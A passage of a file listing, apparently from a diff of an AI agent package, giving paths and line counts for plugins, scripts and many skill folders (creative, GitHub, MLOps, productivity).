  953. package/plugins/web/searxng/__pycache__/provider.cpython-312.pyc +0 -0
  954. package/plugins/web/searxng/plugin.yaml +7 -0
  955. package/plugins/web/searxng/provider.py +140 -0
  956. package/plugins/web/tavily/__init__.py +15 -0
  957. package/plugins/web/tavily/__pycache__/__init__.cpython-312.pyc +0 -0
  958. package/plugins/web/tavily/__pycache__/provider.cpython-312.pyc +0 -0
  959. package/plugins/web/tavily/plugin.yaml +7 -0
  960. package/plugins/web/tavily/provider.py +285 -0
  961. package/providers/README.md +78 -0
  962. package/providers/__init__.py +192 -0
  963. package/providers/__pycache__/__init__.cpython-312.pyc +0 -0
  964. package/providers/__pycache__/base.cpython-312.pyc +0 -0
  965. package/providers/base.py +184 -0
  966. package/pyproject.toml +255 -0
  967. package/run_agent.py +16409 -0
  968. package/scripts/benchmark_browser_eval.py +138 -0
  969. package/scripts/build_model_catalog.py +95 -0
  970. package/scripts/build_skills_index.py +325 -0
  971. package/scripts/check-windows-footguns.py +624 -0
  972. package/scripts/contributor_audit.py +473 -0
  973. package/scripts/discord-voice-doctor.py +396 -0
  974. package/scripts/hermes-gateway +416 -0
  975. package/scripts/install.cmd +28 -0
  976. package/scripts/install.ps1 +1611 -0
  977. package/scripts/install.sh +2007 -0
  978. package/scripts/install_psutil_android.py +117 -0
  979. package/scripts/keystroke_diagnostic.py +81 -0
  980. package/scripts/kill_modal.sh +34 -0
  981. package/scripts/lib/node-bootstrap.sh +238 -0
  982. package/scripts/lint_diff.py +207 -0
  983. package/scripts/postinstall.js +150 -0
  984. package/scripts/profile-tui.py +626 -0
  985. package/scripts/release.py +1680 -0
  986. package/scripts/run_tests.sh +129 -0
  987. package/scripts/sample_and_compress.py +409 -0
  988. package/scripts/setup_open_webui.sh +349 -0
  989. package/scripts/whatsapp-bridge/allowlist.js +88 -0
  990. package/scripts/whatsapp-bridge/allowlist.test.mjs +80 -0
  991. package/scripts/whatsapp-bridge/bridge.js +729 -0
  992. package/scripts/whatsapp-bridge/package-lock.json +2141 -0
  993. package/scripts/whatsapp-bridge/package.json +19 -0
  994. package/skills/apple/DESCRIPTION.md +2 -0
  995. package/skills/apple/apple-notes/SKILL.md +90 -0
  996. package/skills/apple/apple-reminders/SKILL.md +98 -0
  997. package/skills/apple/findmy/SKILL.md +131 -0
  998. package/skills/apple/imessage/SKILL.md +102 -0
  999. package/skills/apple/macos-computer-use/SKILL.md +201 -0
  1000. package/skills/autonomous-ai-agents/DESCRIPTION.md +3 -0
  1001. package/skills/autonomous-ai-agents/claude-code/SKILL.md +745 -0
  1002. package/skills/autonomous-ai-agents/codex/SKILL.md +130 -0
  1003. package/skills/autonomous-ai-agents/hermes-agent/SKILL.md +1014 -0
  1004. package/skills/autonomous-ai-agents/opencode/SKILL.md +219 -0
  1005. package/skills/creative/DESCRIPTION.md +3 -0
  1006. package/skills/creative/architecture-diagram/SKILL.md +148 -0
  1007. package/skills/creative/architecture-diagram/templates/template.html +319 -0
  1008. package/skills/creative/ascii-art/SKILL.md +322 -0
  1009. package/skills/creative/ascii-video/README.md +290 -0
  1010. package/skills/creative/ascii-video/SKILL.md +241 -0
  1011. package/skills/creative/ascii-video/references/architecture.md +802 -0
  1012. package/skills/creative/ascii-video/references/composition.md +892 -0
  1013. package/skills/creative/ascii-video/references/effects.md +1865 -0
  1014. package/skills/creative/ascii-video/references/inputs.md +685 -0
  1015. package/skills/creative/ascii-video/references/optimization.md +688 -0
  1016. package/skills/creative/ascii-video/references/scenes.md +1011 -0
  1017. package/skills/creative/ascii-video/references/shaders.md +1385 -0
  1018. package/skills/creative/ascii-video/references/troubleshooting.md +367 -0
  1019. package/skills/creative/baoyu-comic/PORT_NOTES.md +77 -0
  1020. package/skills/creative/baoyu-comic/SKILL.md +247 -0
  1021. package/skills/creative/baoyu-comic/references/analysis-framework.md +176 -0
  1022. package/skills/creative/baoyu-comic/references/art-styles/chalk.md +101 -0
  1023. package/skills/creative/baoyu-comic/references/art-styles/ink-brush.md +97 -0
  1024. package/skills/creative/baoyu-comic/references/art-styles/ligne-claire.md +75 -0
  1025. package/skills/creative/baoyu-comic/references/art-styles/manga.md +93 -0
  1026. package/skills/creative/baoyu-comic/references/art-styles/minimalist.md +84 -0
  1027. package/skills/creative/baoyu-comic/references/art-styles/realistic.md +89 -0
  1028. package/skills/creative/baoyu-comic/references/auto-selection.md +71 -0
  1029. package/skills/creative/baoyu-comic/references/base-prompt.md +98 -0
  1030. package/skills/creative/baoyu-comic/references/character-template.md +180 -0
  1031. package/skills/creative/baoyu-comic/references/layouts/cinematic.md +23 -0
  1032. package/skills/creative/baoyu-comic/references/layouts/dense.md +23 -0
  1033. package/skills/creative/baoyu-comic/references/layouts/four-panel.md +40 -0
  1034. package/skills/creative/baoyu-comic/references/layouts/mixed.md +23 -0
  1035. package/skills/creative/baoyu-comic/references/layouts/splash.md +23 -0
  1036. package/skills/creative/baoyu-comic/references/layouts/standard.md +23 -0
  1037. package/skills/creative/baoyu-comic/references/layouts/webtoon.md +30 -0
  1038. package/skills/creative/baoyu-comic/references/ohmsha-guide.md +85 -0
  1039. package/skills/creative/baoyu-comic/references/partial-workflows.md +106 -0
  1040. package/skills/creative/baoyu-comic/references/presets/concept-story.md +121 -0
  1041. package/skills/creative/baoyu-comic/references/presets/four-panel.md +107 -0
  1042. package/skills/creative/baoyu-comic/references/presets/ohmsha.md +114 -0
  1043. package/skills/creative/baoyu-comic/references/presets/shoujo.md +116 -0
  1044. package/skills/creative/baoyu-comic/references/presets/wuxia.md +110 -0
  1045. package/skills/creative/baoyu-comic/references/storyboard-template.md +143 -0
  1046. package/skills/creative/baoyu-comic/references/tones/action.md +110 -0
  1047. package/skills/creative/baoyu-comic/references/tones/dramatic.md +95 -0
  1048. package/skills/creative/baoyu-comic/references/tones/energetic.md +105 -0
  1049. package/skills/creative/baoyu-comic/references/tones/neutral.md +63 -0
  1050. package/skills/creative/baoyu-comic/references/tones/romantic.md +100 -0
  1051. package/skills/creative/baoyu-comic/references/tones/vintage.md +104 -0
  1052. package/skills/creative/baoyu-comic/references/tones/warm.md +94 -0
  1053. package/skills/creative/baoyu-comic/references/workflow.md +401 -0
  1054. package/skills/creative/baoyu-infographic/PORT_NOTES.md +43 -0
  1055. package/skills/creative/baoyu-infographic/SKILL.md +237 -0
  1056. package/skills/creative/baoyu-infographic/references/analysis-framework.md +182 -0
  1057. package/skills/creative/baoyu-infographic/references/base-prompt.md +43 -0
  1058. package/skills/creative/baoyu-infographic/references/layouts/bento-grid.md +41 -0
  1059. package/skills/creative/baoyu-infographic/references/layouts/binary-comparison.md +48 -0
  1060. package/skills/creative/baoyu-infographic/references/layouts/bridge.md +41 -0
  1061. package/skills/creative/baoyu-infographic/references/layouts/circular-flow.md +41 -0
  1062. package/skills/creative/baoyu-infographic/references/layouts/comic-strip.md +41 -0
  1063. package/skills/creative/baoyu-infographic/references/layouts/comparison-matrix.md +41 -0
  1064. package/skills/creative/baoyu-infographic/references/layouts/dashboard.md +41 -0
  1065. package/skills/creative/baoyu-infographic/references/layouts/dense-modules.md +72 -0
  1066. package/skills/creative/baoyu-infographic/references/layouts/funnel.md +41 -0
  1067. package/skills/creative/baoyu-infographic/references/layouts/hierarchical-layers.md +48 -0
  1068. package/skills/creative/baoyu-infographic/references/layouts/hub-spoke.md +41 -0
  1069. package/skills/creative/baoyu-infographic/references/layouts/iceberg.md +41 -0
  1070. package/skills/creative/baoyu-infographic/references/layouts/isometric-map.md +41 -0
  1071. package/skills/creative/baoyu-infographic/references/layouts/jigsaw.md +41 -0
  1072. package/skills/creative/baoyu-infographic/references/layouts/linear-progression.md +48 -0
  1073. package/skills/creative/baoyu-infographic/references/layouts/periodic-table.md +41 -0
  1074. package/skills/creative/baoyu-infographic/references/layouts/story-mountain.md +41 -0
  1075. package/skills/creative/baoyu-infographic/references/layouts/structural-breakdown.md +48 -0
  1076. package/skills/creative/baoyu-infographic/references/layouts/tree-branching.md +41 -0
  1077. package/skills/creative/baoyu-infographic/references/layouts/venn-diagram.md +41 -0
  1078. package/skills/creative/baoyu-infographic/references/layouts/winding-roadmap.md +41 -0
  1079. package/skills/creative/baoyu-infographic/references/structured-content-template.md +244 -0
  1080. package/skills/creative/baoyu-infographic/references/styles/aged-academia.md +36 -0
  1081. package/skills/creative/baoyu-infographic/references/styles/bold-graphic.md +36 -0
  1082. package/skills/creative/baoyu-infographic/references/styles/chalkboard.md +61 -0
  1083. package/skills/creative/baoyu-infographic/references/styles/claymation.md +29 -0
  1084. package/skills/creative/baoyu-infographic/references/styles/corporate-memphis.md +29 -0
  1085. package/skills/creative/baoyu-infographic/references/styles/craft-handmade.md +44 -0
  1086. package/skills/creative/baoyu-infographic/references/styles/cyberpunk-neon.md +29 -0
  1087. package/skills/creative/baoyu-infographic/references/styles/hand-drawn-edu.md +63 -0
  1088. package/skills/creative/baoyu-infographic/references/styles/ikea-manual.md +29 -0
  1089. package/skills/creative/baoyu-infographic/references/styles/kawaii.md +29 -0
  1090. package/skills/creative/baoyu-infographic/references/styles/knolling.md +29 -0
  1091. package/skills/creative/baoyu-infographic/references/styles/lego-brick.md +29 -0
  1092. package/skills/creative/baoyu-infographic/references/styles/morandi-journal.md +60 -0
  1093. package/skills/creative/baoyu-infographic/references/styles/origami.md +29 -0
  1094. package/skills/creative/baoyu-infographic/references/styles/pixel-art.md +29 -0
  1095. package/skills/creative/baoyu-infographic/references/styles/pop-laboratory.md +48 -0
  1096. package/skills/creative/baoyu-infographic/references/styles/retro-pop-grid.md +47 -0
  1097. package/skills/creative/baoyu-infographic/references/styles/storybook-watercolor.md +29 -0
  1098. package/skills/creative/baoyu-infographic/references/styles/subway-map.md +29 -0
  1099. package/skills/creative/baoyu-infographic/references/styles/technical-schematic.md +36 -0
  1100. package/skills/creative/baoyu-infographic/references/styles/ui-wireframe.md +29 -0
  1101. package/skills/creative/claude-design/SKILL.md +591 -0
  1102. package/skills/creative/comfyui/SKILL.md +612 -0
  1103. package/skills/creative/comfyui/references/official-cli.md +255 -0
  1104. package/skills/creative/comfyui/references/rest-api.md +312 -0
  1105. package/skills/creative/comfyui/references/template-integrity.md +243 -0
  1106. package/skills/creative/comfyui/references/workflow-format.md +226 -0
  1107. package/skills/creative/comfyui/scripts/_common.py +835 -0
  1108. package/skills/creative/comfyui/scripts/auto_fix_deps.py +225 -0
  1109. package/skills/creative/comfyui/scripts/check_deps.py +437 -0
  1110. package/skills/creative/comfyui/scripts/comfyui_setup.sh +286 -0
  1111. package/skills/creative/comfyui/scripts/extract_schema.py +315 -0
  1112. package/skills/creative/comfyui/scripts/fetch_logs.py +158 -0
  1113. package/skills/creative/comfyui/scripts/hardware_check.py +497 -0
  1114. package/skills/creative/comfyui/scripts/health_check.py +223 -0
  1115. package/skills/creative/comfyui/scripts/run_batch.py +243 -0
  1116. package/skills/creative/comfyui/scripts/run_workflow.py +796 -0
  1117. package/skills/creative/comfyui/scripts/ws_monitor.py +267 -0
  1118. package/skills/creative/comfyui/tests/README.md +50 -0
  1119. package/skills/creative/comfyui/tests/conftest.py +64 -0
  1120. package/skills/creative/comfyui/tests/pytest.ini +5 -0
  1121. package/skills/creative/comfyui/tests/test_check_deps.py +68 -0
  1122. package/skills/creative/comfyui/tests/test_cloud_integration.py +95 -0
  1123. package/skills/creative/comfyui/tests/test_common.py +447 -0
  1124. package/skills/creative/comfyui/tests/test_extract_schema.py +185 -0
  1125. package/skills/creative/comfyui/tests/test_run_workflow.py +213 -0
  1126. package/skills/creative/comfyui/workflows/README.md +86 -0
  1127. package/skills/creative/comfyui/workflows/animatediff_video.json +64 -0
  1128. package/skills/creative/comfyui/workflows/flux_dev_txt2img.json +78 -0
  1129. package/skills/creative/comfyui/workflows/sd15_txt2img.json +49 -0
  1130. package/skills/creative/comfyui/workflows/sdxl_img2img.json +54 -0
  1131. package/skills/creative/comfyui/workflows/sdxl_inpaint.json +59 -0
  1132. package/skills/creative/comfyui/workflows/sdxl_txt2img.json +49 -0
  1133. package/skills/creative/comfyui/workflows/upscale_4x.json +27 -0
  1134. package/skills/creative/comfyui/workflows/wan_video_t2v.json +69 -0
  1135. package/skills/creative/creative-ideation/SKILL.md +152 -0
  1136. package/skills/creative/creative-ideation/references/full-prompt-library.md +110 -0
  1137. package/skills/creative/design-md/SKILL.md +199 -0
  1138. package/skills/creative/design-md/templates/starter.md +99 -0
  1139. package/skills/creative/excalidraw/SKILL.md +199 -0
  1140. package/skills/creative/excalidraw/references/colors.md +44 -0
  1141. package/skills/creative/excalidraw/references/dark-mode.md +68 -0
  1142. package/skills/creative/excalidraw/references/examples.md +141 -0
  1143. package/skills/creative/excalidraw/scripts/upload.py +133 -0
  1144. package/skills/creative/humanizer/LICENSE +21 -0
  1145. package/skills/creative/humanizer/SKILL.md +578 -0
  1146. package/skills/creative/manim-video/README.md +23 -0
  1147. package/skills/creative/manim-video/SKILL.md +269 -0
  1148. package/skills/creative/manim-video/references/animation-design-thinking.md +161 -0
  1149. package/skills/creative/manim-video/references/animations.md +282 -0
  1150. package/skills/creative/manim-video/references/camera-and-3d.md +135 -0
  1151. package/skills/creative/manim-video/references/decorations.md +202 -0
  1152. package/skills/creative/manim-video/references/equations.md +216 -0
  1153. package/skills/creative/manim-video/references/graphs-and-data.md +163 -0
  1154. package/skills/creative/manim-video/references/mobjects.md +333 -0
  1155. package/skills/creative/manim-video/references/paper-explainer.md +255 -0
  1156. package/skills/creative/manim-video/references/production-quality.md +190 -0
  1157. package/skills/creative/manim-video/references/rendering.md +185 -0
  1158. package/skills/creative/manim-video/references/scene-planning.md +118 -0
  1159. package/skills/creative/manim-video/references/troubleshooting.md +135 -0
  1160. package/skills/creative/manim-video/references/updaters-and-trackers.md +260 -0
  1161. package/skills/creative/manim-video/references/visual-design.md +124 -0
  1162. package/skills/creative/manim-video/scripts/setup.sh +14 -0
  1163. package/skills/creative/p5js/README.md +64 -0
  1164. package/skills/creative/p5js/SKILL.md +556 -0
  1165. package/skills/creative/p5js/references/animation.md +439 -0
  1166. package/skills/creative/p5js/references/color-systems.md +352 -0
  1167. package/skills/creative/p5js/references/core-api.md +410 -0
  1168. package/skills/creative/p5js/references/export-pipeline.md +566 -0
  1169. package/skills/creative/p5js/references/interaction.md +398 -0
  1170. package/skills/creative/p5js/references/shapes-and-geometry.md +300 -0
  1171. package/skills/creative/p5js/references/troubleshooting.md +532 -0
  1172. package/skills/creative/p5js/references/typography.md +302 -0
  1173. package/skills/creative/p5js/references/visual-effects.md +895 -0
  1174. package/skills/creative/p5js/references/webgl-and-3d.md +423 -0
  1175. package/skills/creative/p5js/scripts/export-frames.js +179 -0
  1176. package/skills/creative/p5js/scripts/render.sh +108 -0
  1177. package/skills/creative/p5js/scripts/serve.sh +28 -0
  1178. package/skills/creative/p5js/scripts/setup.sh +87 -0
  1179. package/skills/creative/p5js/templates/viewer.html +395 -0
  1180. package/skills/creative/pixel-art/ATTRIBUTION.md +54 -0
  1181. package/skills/creative/pixel-art/SKILL.md +218 -0
  1182. package/skills/creative/pixel-art/references/palettes.md +49 -0
  1183. package/skills/creative/pixel-art/scripts/__init__.py +0 -0
  1184. package/skills/creative/pixel-art/scripts/palettes.py +167 -0
  1185. package/skills/creative/pixel-art/scripts/pixel_art.py +162 -0
  1186. package/skills/creative/pixel-art/scripts/pixel_art_video.py +345 -0
  1187. package/skills/creative/popular-web-designs/SKILL.md +214 -0
  1188. package/skills/creative/popular-web-designs/templates/airbnb.md +259 -0
  1189. package/skills/creative/popular-web-designs/templates/airtable.md +102 -0
  1190. package/skills/creative/popular-web-designs/templates/apple.md +326 -0
  1191. package/skills/creative/popular-web-designs/templates/bmw.md +193 -0
  1192. package/skills/creative/popular-web-designs/templates/cal.md +272 -0
  1193. package/skills/creative/popular-web-designs/templates/claude.md +325 -0
  1194. package/skills/creative/popular-web-designs/templates/clay.md +317 -0
  1195. package/skills/creative/popular-web-designs/templates/clickhouse.md +294 -0
  1196. package/skills/creative/popular-web-designs/templates/cohere.md +279 -0
  1197. package/skills/creative/popular-web-designs/templates/coinbase.md +142 -0
  1198. package/skills/creative/popular-web-designs/templates/composio.md +320 -0
  1199. package/skills/creative/popular-web-designs/templates/cursor.md +322 -0
  1200. package/skills/creative/popular-web-designs/templates/elevenlabs.md +278 -0
  1201. package/skills/creative/popular-web-designs/templates/expo.md +294 -0
  1202. package/skills/creative/popular-web-designs/templates/figma.md +233 -0
  1203. package/skills/creative/popular-web-designs/templates/framer.md +259 -0
  1204. package/skills/creative/popular-web-designs/templates/hashicorp.md +291 -0
  1205. package/skills/creative/popular-web-designs/templates/ibm.md +345 -0
  1206. package/skills/creative/popular-web-designs/templates/intercom.md +159 -0
  1207. package/skills/creative/popular-web-designs/templates/kraken.md +138 -0
  1208. package/skills/creative/popular-web-designs/templates/linear.app.md +380 -0
  1209. package/skills/creative/popular-web-designs/templates/lovable.md +311 -0
  1210. package/skills/creative/popular-web-designs/templates/minimax.md +270 -0
  1211. package/skills/creative/popular-web-designs/templates/mintlify.md +339 -0
  1212. package/skills/creative/popular-web-designs/templates/miro.md +121 -0
  1213. package/skills/creative/popular-web-designs/templates/mistral.ai.md +274 -0
  1214. package/skills/creative/popular-web-designs/templates/mongodb.md +279 -0
  1215. package/skills/creative/popular-web-designs/templates/notion.md +322 -0
  1216. package/skills/creative/popular-web-designs/templates/nvidia.md +306 -0
  1217. package/skills/creative/popular-web-designs/templates/ollama.md +280 -0
  1218. package/skills/creative/popular-web-designs/templates/opencode.ai.md +294 -0
  1219. package/skills/creative/popular-web-designs/templates/pinterest.md +243 -0
  1220. package/skills/creative/popular-web-designs/templates/posthog.md +269 -0
  1221. package/skills/creative/popular-web-designs/templates/raycast.md +281 -0
  1222. package/skills/creative/popular-web-designs/templates/replicate.md +274 -0
  1223. package/skills/creative/popular-web-designs/templates/resend.md +316 -0
  1224. package/skills/creative/popular-web-designs/templates/revolut.md +198 -0
  1225. package/skills/creative/popular-web-designs/templates/runwayml.md +257 -0
  1226. package/skills/creative/popular-web-designs/templates/sanity.md +370 -0
  1227. package/skills/creative/popular-web-designs/templates/sentry.md +275 -0
  1228. package/skills/creative/popular-web-designs/templates/spacex.md +207 -0
  1229. package/skills/creative/popular-web-designs/templates/spotify.md +259 -0
  1230. package/skills/creative/popular-web-designs/templates/stripe.md +335 -0
  1231. package/skills/creative/popular-web-designs/templates/supabase.md +268 -0
  1232. package/skills/creative/popular-web-designs/templates/superhuman.md +265 -0
  1233. package/skills/creative/popular-web-designs/templates/together.ai.md +276 -0
  1234. package/skills/creative/popular-web-designs/templates/uber.md +308 -0
  1235. package/skills/creative/popular-web-designs/templates/vercel.md +323 -0
  1236. package/skills/creative/popular-web-designs/templates/voltagent.md +336 -0
  1237. package/skills/creative/popular-web-designs/templates/warp.md +266 -0
  1238. package/skills/creative/popular-web-designs/templates/webflow.md +105 -0
  1239. package/skills/creative/popular-web-designs/templates/wise.md +186 -0
  1240. package/skills/creative/popular-web-designs/templates/x.ai.md +270 -0
  1241. package/skills/creative/popular-web-designs/templates/zapier.md +341 -0
  1242. package/skills/creative/pretext/SKILL.md +220 -0
  1243. package/skills/creative/pretext/references/patterns.md +258 -0
  1244. package/skills/creative/pretext/templates/donut-orbit.html +1468 -0
  1245. package/skills/creative/pretext/templates/hello-orb-flow.html +95 -0
  1246. package/skills/creative/sketch/SKILL.md +218 -0
  1247. package/skills/creative/songwriting-and-ai-music/SKILL.md +287 -0
  1248. package/skills/creative/touchdesigner-mcp/SKILL.md +356 -0
  1249. package/skills/creative/touchdesigner-mcp/references/3d-scene.md +275 -0
  1250. package/skills/creative/touchdesigner-mcp/references/animation.md +221 -0
  1251. package/skills/creative/touchdesigner-mcp/references/audio-reactive.md +175 -0
  1252. package/skills/creative/touchdesigner-mcp/references/dat-scripting.md +352 -0
  1253. package/skills/creative/touchdesigner-mcp/references/external-data.md +322 -0
  1254. package/skills/creative/touchdesigner-mcp/references/geometry-comp.md +121 -0
  1255. package/skills/creative/touchdesigner-mcp/references/glsl.md +151 -0
  1256. package/skills/creative/touchdesigner-mcp/references/layout-compositor.md +131 -0
  1257. package/skills/creative/touchdesigner-mcp/references/mcp-tools.md +382 -0
  1258. package/skills/creative/touchdesigner-mcp/references/midi-osc.md +211 -0
  1259. package/skills/creative/touchdesigner-mcp/references/network-patterns.md +966 -0
  1260. package/skills/creative/touchdesigner-mcp/references/operator-tips.md +106 -0
  1261. package/skills/creative/touchdesigner-mcp/references/operators.md +239 -0
  1262. package/skills/creative/touchdesigner-mcp/references/panel-ui.md +281 -0
  1263. package/skills/creative/touchdesigner-mcp/references/particles.md +245 -0
  1264. package/skills/creative/touchdesigner-mcp/references/pitfalls.md +704 -0
  1265. package/skills/creative/touchdesigner-mcp/references/postfx.md +183 -0
  1266. package/skills/creative/touchdesigner-mcp/references/projection-mapping.md +211 -0
  1267. package/skills/creative/touchdesigner-mcp/references/python-api.md +463 -0
  1268. package/skills/creative/touchdesigner-mcp/references/replicator.md +198 -0
  1269. package/skills/creative/touchdesigner-mcp/references/troubleshooting.md +244 -0
  1270. package/skills/creative/touchdesigner-mcp/scripts/setup.sh +115 -0
  1271. package/skills/data-science/DESCRIPTION.md +3 -0
  1272. package/skills/data-science/jupyter-live-kernel/SKILL.md +167 -0
  1273. package/skills/devops/kanban-orchestrator/SKILL.md +189 -0
  1274. package/skills/devops/kanban-worker/SKILL.md +184 -0
  1275. package/skills/devops/webhook-subscriptions/SKILL.md +204 -0
  1276. package/skills/diagramming/DESCRIPTION.md +3 -0
  1277. package/skills/dogfood/SKILL.md +162 -0
  1278. package/skills/dogfood/references/issue-taxonomy.md +109 -0
  1279. package/skills/dogfood/templates/dogfood-report-template.md +86 -0
  1280. package/skills/domain/DESCRIPTION.md +24 -0
  1281. package/skills/email/DESCRIPTION.md +3 -0
  1282. package/skills/email/himalaya/SKILL.md +299 -0
  1283. package/skills/email/himalaya/references/configuration.md +227 -0
  1284. package/skills/email/himalaya/references/message-composition.md +199 -0
  1285. package/skills/gaming/DESCRIPTION.md +3 -0
  1286. package/skills/gaming/minecraft-modpack-server/SKILL.md +187 -0
  1287. package/skills/gaming/pokemon-player/SKILL.md +216 -0
  1288. package/skills/gifs/DESCRIPTION.md +3 -0
  1289. package/skills/github/DESCRIPTION.md +3 -0
  1290. package/skills/github/codebase-inspection/SKILL.md +116 -0
  1291. package/skills/github/github-auth/SKILL.md +247 -0
  1292. package/skills/github/github-auth/scripts/gh-env.sh +66 -0
  1293. package/skills/github/github-code-review/SKILL.md +481 -0
  1294. package/skills/github/github-code-review/references/review-output-template.md +74 -0
  1295. package/skills/github/github-issues/SKILL.md +370 -0
  1296. package/skills/github/github-issues/templates/bug-report.md +35 -0
  1297. package/skills/github/github-issues/templates/feature-request.md +31 -0
  1298. package/skills/github/github-pr-workflow/SKILL.md +367 -0
  1299. package/skills/github/github-pr-workflow/references/ci-troubleshooting.md +183 -0
  1300. package/skills/github/github-pr-workflow/references/conventional-commits.md +71 -0
  1301. package/skills/github/github-pr-workflow/templates/pr-body-bugfix.md +35 -0
  1302. package/skills/github/github-pr-workflow/templates/pr-body-feature.md +33 -0
  1303. package/skills/github/github-repo-management/SKILL.md +516 -0
  1304. package/skills/github/github-repo-management/references/github-api-cheatsheet.md +161 -0
  1305. package/skills/index-cache/anthropics_skills_skills_.json +1 -0
  1306. package/skills/index-cache/claude_marketplace_anthropics_skills.json +1 -0
  1307. package/skills/index-cache/lobehub_index.json +1 -0
  1308. package/skills/index-cache/openai_skills_skills_.json +1 -0
  1309. package/skills/inference-sh/DESCRIPTION.md +19 -0
  1310. package/skills/mcp/DESCRIPTION.md +3 -0
  1311. package/skills/mcp/native-mcp/SKILL.md +357 -0
  1312. package/skills/media/DESCRIPTION.md +3 -0
  1313. package/skills/media/gif-search/SKILL.md +91 -0
  1314. package/skills/media/heartmula/SKILL.md +171 -0
  1315. package/skills/media/songsee/SKILL.md +83 -0
  1316. package/skills/media/spotify/SKILL.md +135 -0
  1317. package/skills/media/youtube-content/SKILL.md +73 -0
  1318. package/skills/media/youtube-content/references/output-formats.md +56 -0
  1319. package/skills/media/youtube-content/scripts/fetch_transcript.py +124 -0
  1320. package/skills/mlops/DESCRIPTION.md +3 -0
  1321. package/skills/mlops/evaluation/DESCRIPTION.md +3 -0
  1322. package/skills/mlops/evaluation/lm-evaluation-harness/SKILL.md +498 -0
  1323. package/skills/mlops/evaluation/lm-evaluation-harness/references/api-evaluation.md +490 -0
  1324. package/skills/mlops/evaluation/lm-evaluation-harness/references/benchmark-guide.md +488 -0
  1325. package/skills/mlops/evaluation/lm-evaluation-harness/references/custom-tasks.md +602 -0
  1326. package/skills/mlops/evaluation/lm-evaluation-harness/references/distributed-eval.md +519 -0
  1327. package/skills/mlops/evaluation/weights-and-biases/SKILL.md +594 -0
  1328. package/skills/mlops/evaluation/weights-and-biases/references/artifacts.md +584 -0
  1329. package/skills/mlops/evaluation/weights-and-biases/references/integrations.md +700 -0
  1330. package/skills/mlops/evaluation/weights-and-biases/references/sweeps.md +847 -0
  1331. package/skills/mlops/huggingface-hub/SKILL.md +81 -0
  1332. package/skills/mlops/inference/DESCRIPTION.md +3 -0
  1333. package/skills/mlops/inference/llama-cpp/SKILL.md +249 -0
  1334. package/skills/mlops/inference/llama-cpp/references/advanced-usage.md +504 -0
  1335. package/skills/mlops/inference/llama-cpp/references/hub-discovery.md +168 -0
  1336. package/skills/mlops/inference/llama-cpp/references/optimization.md +89 -0
  1337. package/skills/mlops/inference/llama-cpp/references/quantization.md +243 -0
  1338. package/skills/mlops/inference/llama-cpp/references/server.md +150 -0
  1339. package/skills/mlops/inference/llama-cpp/references/troubleshooting.md +442 -0
  1340. package/skills/mlops/inference/obliteratus/SKILL.md +342 -0
  1341. package/skills/mlops/inference/obliteratus/references/analysis-modules.md +166 -0
  1342. package/skills/mlops/inference/obliteratus/references/methods-guide.md +141 -0
  1343. package/skills/mlops/inference/obliteratus/templates/abliteration-config.yaml +33 -0
  1344. package/skills/mlops/inference/obliteratus/templates/analysis-study.yaml +40 -0
  1345. package/skills/mlops/inference/obliteratus/templates/batch-abliteration.yaml +41 -0
  1346. package/skills/mlops/inference/vllm/SKILL.md +372 -0
  1347. package/skills/mlops/inference/vllm/references/optimization.md +226 -0
  1348. package/skills/mlops/inference/vllm/references/quantization.md +284 -0
  1349. package/skills/mlops/inference/vllm/references/server-deployment.md +255 -0
  1350. package/skills/mlops/inference/vllm/references/troubleshooting.md +447 -0
  1351. package/skills/mlops/models/DESCRIPTION.md +3 -0
  1352. package/skills/mlops/models/audiocraft/SKILL.md +568 -0
  1353. package/skills/mlops/models/audiocraft/references/advanced-usage.md +666 -0
  1354. package/skills/mlops/models/audiocraft/references/troubleshooting.md +504 -0
  1355. package/skills/mlops/models/segment-anything/SKILL.md +506 -0
  1356. package/skills/mlops/models/segment-anything/references/advanced-usage.md +589 -0
  1357. package/skills/mlops/models/segment-anything/references/troubleshooting.md +484 -0
  1358. package/skills/mlops/research/DESCRIPTION.md +3 -0
  1359. package/skills/mlops/research/dspy/SKILL.md +594 -0
  1360. package/skills/mlops/research/dspy/references/examples.md +663 -0
  1361. package/skills/mlops/research/dspy/references/modules.md +475 -0
  1362. package/skills/mlops/research/dspy/references/optimizers.md +566 -0
  1363. package/skills/mlops/training/DESCRIPTION.md +3 -0
  1364. package/skills/mlops/vector-databases/DESCRIPTION.md +3 -0
  1365. package/skills/note-taking/DESCRIPTION.md +3 -0
  1366. package/skills/note-taking/obsidian/SKILL.md +61 -0
  1367. package/skills/productivity/DESCRIPTION.md +3 -0
  1368. package/skills/productivity/airtable/SKILL.md +229 -0
  1369. package/skills/productivity/google-workspace/SKILL.md +335 -0
  1370. package/skills/productivity/google-workspace/references/gmail-search-syntax.md +63 -0
  1371. package/skills/productivity/google-workspace/scripts/_hermes_home.py +43 -0
  1372. package/skills/productivity/google-workspace/scripts/google_api.py +1221 -0
  1373. package/skills/productivity/google-workspace/scripts/gws_bridge.py +108 -0
  1374. package/skills/productivity/google-workspace/scripts/setup.py +454 -0
  1375. package/skills/productivity/linear/SKILL.md +380 -0
  1376. package/skills/productivity/linear/scripts/linear_api.py +445 -0
  1377. package/skills/productivity/maps/SKILL.md +195 -0
  1378. package/skills/productivity/maps/scripts/maps_client.py +1298 -0
  1379. package/skills/productivity/nano-pdf/SKILL.md +52 -0
  1380. package/skills/productivity/notion/SKILL.md +448 -0
  1381. package/skills/productivity/notion/references/block-types.md +112 -0
  1382. package/skills/productivity/ocr-and-documents/DESCRIPTION.md +3 -0
  1383. package/skills/productivity/ocr-and-documents/SKILL.md +172 -0
  1384. package/skills/productivity/ocr-and-documents/scripts/extract_marker.py +87 -0
  1385. package/skills/productivity/ocr-and-documents/scripts/extract_pymupdf.py +98 -0
  1386. package/skills/productivity/powerpoint/LICENSE.txt +30 -0
  1387. package/skills/productivity/powerpoint/SKILL.md +237 -0
  1388. package/skills/productivity/powerpoint/editing.md +205 -0
  1389. package/skills/productivity/powerpoint/pptxgenjs.md +420 -0
  1390. package/skills/productivity/powerpoint/scripts/__init__.py +0 -0
  1391. package/skills/productivity/powerpoint/scripts/add_slide.py +195 -0
  1392. package/skills/productivity/powerpoint/scripts/clean.py +286 -0
  1393. package/skills/productivity/powerpoint/scripts/office/helpers/__init__.py +0 -0
  1394. package/skills/productivity/powerpoint/scripts/office/helpers/merge_runs.py +199 -0
  1395. package/skills/productivity/powerpoint/scripts/office/helpers/simplify_redlines.py +197 -0
  1396. package/skills/productivity/powerpoint/scripts/office/pack.py +159 -0
  1397. package/skills/productivity/powerpoint/scripts/office/schemas/ISO-IEC29500-4_2016/dml-chart.xsd +1499 -0
